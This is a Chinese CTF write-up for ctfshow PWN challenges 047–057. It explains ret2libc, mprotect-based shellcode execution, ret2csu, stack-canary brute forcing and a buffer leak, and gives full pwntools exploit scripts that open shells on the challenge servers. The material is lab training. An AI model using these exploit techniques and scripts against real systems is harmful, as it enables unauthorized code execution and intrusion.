首页/文章/CTF PWN

ctfshow 047-057

ctfshow 047-057 之复健 WP

学习不是为了征服世界,而是为了不辜负每一次好奇心的出发。

047

alt text
一个简单的 ret2libc 基本上可以看见把真实的函数 libc 地址都告诉你了
alt text

alt text
脚本如下:

python
#! /usr/bin/env python3from pwn import *from LibcSearcher import *p = remote('pwn.challenge.ctf.show', 28199)elf = ELF('./pwn')rop = ROP(elf)p.recvuntil('puts: ')puts_addr = int(p.recvline().strip(), 16)p.recvuntil('read: ')read_addr = int(p.recvline().strip(), 16)p.recvuntil('write: ')write_addr = int(p.recvline().strip(), 16)print(hex(puts_addr))print(hex(read_addr))print(hex(write_addr))p.recvuntil('gift: ')gift_addr = int(p.recvline().strip(), 16)print(hex(gift_addr))libc = LibcSearcher('puts', puts_addr)libc_base = puts_addr - libc.dump('puts')system_addr = libc_base + libc.dump('system')p.recvuntil('Start your show time: \n')offset = 0x9c + 4payload = b'a' * offset + p32(system_addr) + b'aaaa' + p32(gift_addr)p.sendline(payload)print(hex(libc_base))p.interactive()

048

alt text

alt text

脚本如下

python
#! /usr/bin/env python3from pwn import *from LibcSearcher import *p = remote('pwn.challenge.ctf.show', 28166)elf = ELF('./pwn')rop = ROP(elf)puts_plt = elf.plt['puts']puts_got = elf.got['puts']main_addr = elf.symbols['main']offset = 0x6B + 4payload = b'a' * offset + p32(puts_plt) + p32(main_addr) + p32(puts_got)p.recvuntil('O.o?\n')p.sendline(payload)puts_addr = u32(p.recv(4))print(hex(puts_addr))libc = LibcSearcher('puts', puts_addr)libc_base = puts_addr - libc.dump('puts')system_addr = libc_base + libc.dump('system')binsh_addr = libc_base + libc.dump('str_bin_sh')p.recvuntil('O.o?\n')payload = b'a' * offset + p32(system_addr) + b'aaaa' + p32(binsh_addr)p.sendline(payload)p.interactive()

049

alt text

看到提示,use mprotect func,同时左侧函数列表有大量函数,应该是使用了静态链接
先说一下 mprotect 函数

c
#include <sys/mman.h>int mprotect(void *addr, size_t len, int prot);

这是其大致函数原型,也就是第一个参数为起始地址,第二个参数是修改长度,第三个参数是权限。
需要注意的是,mprotect 函数是一次性修改一页的地址,所以起始地址必须页对齐
那么利用思路就是将某一处地址改成可读可写可执行,之后我们劫持程序流将shellcode布局到此处,最后操控程序执行shellcode
但是经过脚本的编写也是发现了之前没有想过的问题
我的第一版脚本

python
#! /usr/bin/env python3from pwn import *p = process('./pwn')elf = ELF('./pwn')rop = ROP(elf)target_addr = 0x80B7000read_addr = 0x806BEE0pop3_ret = 0x0806dfe9p.recvuntil('Hint  : Use mprotect func do sth!                               \n')p.recvuntil('* *************************************                           \n')   offset = 0x12 + 4shellcode = asm(shellcraft.sh())mprotect_addr = elf.symbols['mprotect']payload = b'a' * offset payload += flat([mprotect_addr, pop3_ret, target_addr, 0x1000, 7,                 read_addr, pop3_ret, 0, target_addr, len(shellcode),                 target_addr])p.sendline(payload)p.sendline(shellcode)p.interactive()

第一次打的时候总是返回 EOF,后来将关键 payload 改成了

python
payload += flat([mprotect_addr, pop3_ret, target_addr, 0x1000, 7,                 read_addr, target_addr, 0, target_addr, len(shellcode),                 ])

这样子能出 shell

alt text

但是后来有改回去,发现原版本又可以了,也是百思不得其解,于是拷打 AI ,才发现read本身并不清楚其来源,两个read 来源都是 stdin ,那么可能会出现第一个 read 会读shell的情况,而读了shell,就会由于达到 100 字节而截断一部分,那么我们的shellcode 就不完整。

050

alt text

依旧是 use mprotect.
这道题不一样的是变成了 64 位,还有一个就是成了动态链接,那么我们直接可以用ret2libc

python
#! /usr/bin/env python3from pwn import *p = remote('pwn.challenge.ctf.show', 28182)p.recvuntil('Hello CTFshow\n')elf = ELF('./pwn')rop = ROP(elf)puts_plt = elf.plt['puts']puts_got = elf.got['puts']main_addr = elf.symbols['main']offset = 0x20 + 8pop_rdi = rop.find_gadget(['pop rdi', 'ret']).addressret_addr = rop.find_gadget(['ret']).addresspayload = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)p.sendline(payload)puts_addr = u64(p.recv(6).ljust(8, b'\x00'))print(hex(puts_addr))libc_base = puts_addr - 0x080970system_addr = libc_base + 0x04f420binsh_addr = libc_base + 0x1b3d88p.recvuntil('Hello CTFshow\n')payload = b'a' * offset + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)p.sendline(payload)p.interactive()

接下来用本题预期解法

ret2csu

那么很多程序比较小,缺少 pop rdx这样的 gadget,那么本体一样,只能找到pop rdi和rsi相关的 gadget。而像我们的 mprotect 函数需要三个参数,那么缺少的 pop rdx就成了一个问题,不过我们可以利用其它寄存器间接控制 rdx,ret2csu 就出现了 核心是 __libc_csu_init的两段关键 gadget

  • 第一段
    asm
    pop rbxpop rbppop r12pop r13pop r14pop r15ret
  • 第二段
    asm
    mov rdx, r15mov rsi, r14mov edi, r13dcall qword ptr [r12 + rbx*8]add rbx, 1cmp rbp, rbxjnz ...0x4007d6: add rsp, 80x4007da: pop rbx0x4007db: pop rbp0x4007dc: pop r120x4007de: pop r130x4007e0: pop r140x4007e2: pop r150x4007e4: ret

所以我们一般情况下 rbx设置为 0,那么 call qword ptr [r12 + rbx*8] 实际就是 call qword ptr [r12],那么程序会把 r12存的数据当作地址例如可以存 readgot 表地址,之后实际就相当于 call read 再一个我们将 rbp 设置为 1 。这是因为 add rbx, 1 cmp rbp, rbx jnz此时 rbp = rbx = 1那么程序就不会循环,而是继续往下走

alt text

alt text
IDA 定位到关键gadget的地址

python
#! /usr/bin/env python3from pwn import *context(arch='amd64', os='linux')p = remote('pwn.challenge.ctf.show', 28175)elf = ELF('./pwn')rop = ROP(elf)mprotect_offset = 0x11b7e0puts_plt = elf.plt['puts']puts_got = elf.got['puts']main_addr = elf.symbols['main']offset = 0x20 + 8gets_got = elf.got['gets']gets_plt = elf.plt['gets']csu_pop = 0x4007dacsu_call = 0x4007c0ret_addr = rop.find_gadget(['ret']).addressp.recvuntil('Hello CTFshow\n')pop_rdi = rop.find_gadget(['pop rdi', 'ret']).addresspayload = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)p.sendline(payload)puts_addr = u64(p.recv(6).ljust(8, b'\x00'))print(hex(puts_addr))libc_base = puts_addr - 0x080970print(hex(libc_base))mprotect_addr = libc_base + mprotect_offsetprint(hex(mprotect_addr))start_addr = 0x602050shellcode = asm(shellcraft.sh())shell_addr = start_addr + 0x8p.recvuntil('Hello CTFshow\n')payload = b'a' * offset payload += flat([    pop_rdi,    start_addr,    gets_plt,    csu_pop,    0,    1,    start_addr,    start_addr & ~0xfff,    0x1000,    7,    csu_call,    0,    0,    0,    0,    0,    0,    0,    shell_addr])payload2 = p64(mprotect_addr) + shellcodep.sendline(payload)p.sendline(payload2)p.interactive()

alt text

051

不会 c++ 😭

052

alt text

alt text

python
#! /usr/bin/env python3from pwn import *p = remote('pwn.challenge.ctf.show', 28163)elf = ELF('./pwn')rop = ROP(elf)offset = 0x6C + 4flag_addr = elf.symbols['flag']payload = b'a' * offset + p32(flag_addr) + p32(0) + p32(876) + p32(877)p.recvuntil('What do you want?\n')p.sendline(payload)p.interactive()

alt text

053

alt text

alt text

可以看到系统会从 canary.txt 读取canary,那么我们直接爆破就好了

python
#!/usr/bin/env python3from pwn import *context.log_level = 'error'elf = ELF('./pwn', checksec=False)host = 'pwn.challenge.ctf.show'port = 28211ok = b'Where is the flag?'bad = b'Incorrect'canary = b''for i in range(4):    old_len = len(canary)    for x in range(256):        guess = bytes([x])        payload = b'A' * 0x20        payload += canary        payload += guess        p = remote(host, port)        payload_len = len(payload)        payload_len = str(payload_len)        payload_len = payload_len.encode()        p.sendline(payload_len)        p.send(payload)        end_mark = (ok, bad)        res = p.recvuntil(end_mark, timeout=3)        p.close()        if ok in res:            canary += guess            print('canary =', canary.hex())            break    if len(canary) == old_len:        print('not found')        exit()p = remote(host, port)payload = b'A' * 0x20payload += canarypayload += b'B' * 0x10payload += p32(elf.sym.flag)payload_len = len(payload)payload_len = str(payload_len)payload_len = payload_len.encode()p.sendline(payload_len)p.send(payload)p.interactive()
bash
canary = 33364421

alt text

054

alt text
可以看见虽然本身输入不会造成溢出,但是

c
strcat(v5, ",\nInput your Password.");

这个拼接行为在加上puts,且 v5 跟 s1 本身相邻,那么势必会造成密码也被打印出来。
脚本如下

python
#! /usr/bin/env python3from pwn import *p = remote('pwn.challenge.ctf.show', 28172)strcat = b'\nInput your Password.'strcat_len = len(strcat)offset = 256 - strcat_lenp.recvuntil('Input your Username:\n')p.sendline(b'a' * offset)p.recvuntil(b'Input your Password')password = p.recvline().strip()print(password)p.sendline(password)p.interactive()

alt text

055

alt text
alt text

alt text

满足一些约定即可

python
#! /usr/bin/env python3from pwn import *p = remote('pwn.challenge.ctf.show', 28241)elf = ELF('./pwn', checksec=False)rop = ROP(elf)flag_func1 = elf.symbols['flag_func1']flag_func2 = elf.symbols['flag_func2']flag = elf.symbols['flag']pop_ebx = rop.find_gadget(['pop ebx', 'ret']).addressp.recvuntil('Input your flag: ')offset = 0x2C + 4payload = b'a' * offsetpayload += flat([    flag_func1,    flag_func2,    pop_ebx,    -1397969748,    flag,    0,    -1111638595])p.sendline(payload)p.interactive()

alt text

056

c
void __noreturn start(){  int v0; // eax  char v1[10]; // [esp-Ch] [ebp-Ch] BYREF  __int16 v2; // [esp-2h] [ebp-2h]  v2 = 0;  strcpy(v1, "/bin///sh");  v0 = sys_execve(v1, 0, 0);}

连上就有 shell

057

c
void __noreturn start(){  __asm { syscall; LINUX - }}

同样,连上就是 shell

许可协议

本文采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议,转载请注明出处。

读者回信

正在翻开留言页...